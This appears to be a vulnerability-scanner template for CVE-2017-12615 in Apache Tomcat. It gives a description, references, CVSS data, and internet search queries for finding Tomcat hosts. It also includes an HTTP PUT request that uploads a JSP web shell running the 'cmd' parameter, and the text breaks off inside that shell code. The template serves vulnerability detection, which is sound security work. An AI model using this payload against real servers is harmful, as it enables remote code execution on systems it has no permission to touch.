id: CVE-2017-12615 info: name: Apache Tomcat Servers - Remote Code Execution author: pikpikcu severity: high description: | Apache Tomcat servers 7.0.{0 to 79} are susceptible to remote code execution. By design, you are not allowed to upload JSP files via the PUT method. This is likely a security measure to prevent an attacker from uploading a JSP shell and gaining remote code execution on the server. However, due to the insufficient checks, an attacker could gain remote code execution on Apache Tomcat servers that have enabled PUT method by using a specially crafted HTTP request. impact: | Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected server. remediation: | Apply the latest security patches or upgrade to a non-vulnerable version of Apache Tomcat. reference: - https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2017-12615 - https://lists.apache.org/thread.html/8fcb1e2d5895413abcf266f011b9918ae03e0b7daceb118ffbf23f8c@%3Cannounce.tomcat.apache.org%3E - http://web.archive.org/web/20211206035549/https://securitytracker.com/id/1039392 - https://nvd.nist.gov/vuln/detail/CVE-2017-12615 - http://breaktoprotect.blogspot.com/2017/09/the-case-of-cve-2017-12615-tomcat-7-put.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cve-id: CVE-2017-12615 cwe-id: CWE-434 epss-score: 0.96728 epss-percentile: 0.99659 cpe: cpe:2.3:a:apache:tomcat:7.0:*:*:*:*:*:*:* metadata: max-request: 2 vendor: apache product: tomcat shodan-query: - title:"Apache Tomcat" - http.title:"apache tomcat" - http.html:"apache tomcat" - cpe:"cpe:2.3:a:apache:tomcat" fofa-query: - body="apache tomcat" - title="apache tomcat" google-query: intitle:"apache tomcat" tags: cve2017,cve,rce,tomcat,kev,vulhub,apache,fileupload,intrusive http: - method: PUT path: - "{{BaseURL}}/poc.jsp/" body: | <%@ page import="java.util.*,java.io.*"%> <% if (request.getParameter("cmd") != null) { out.println("Command: " + request.getParameter("cmd") + "
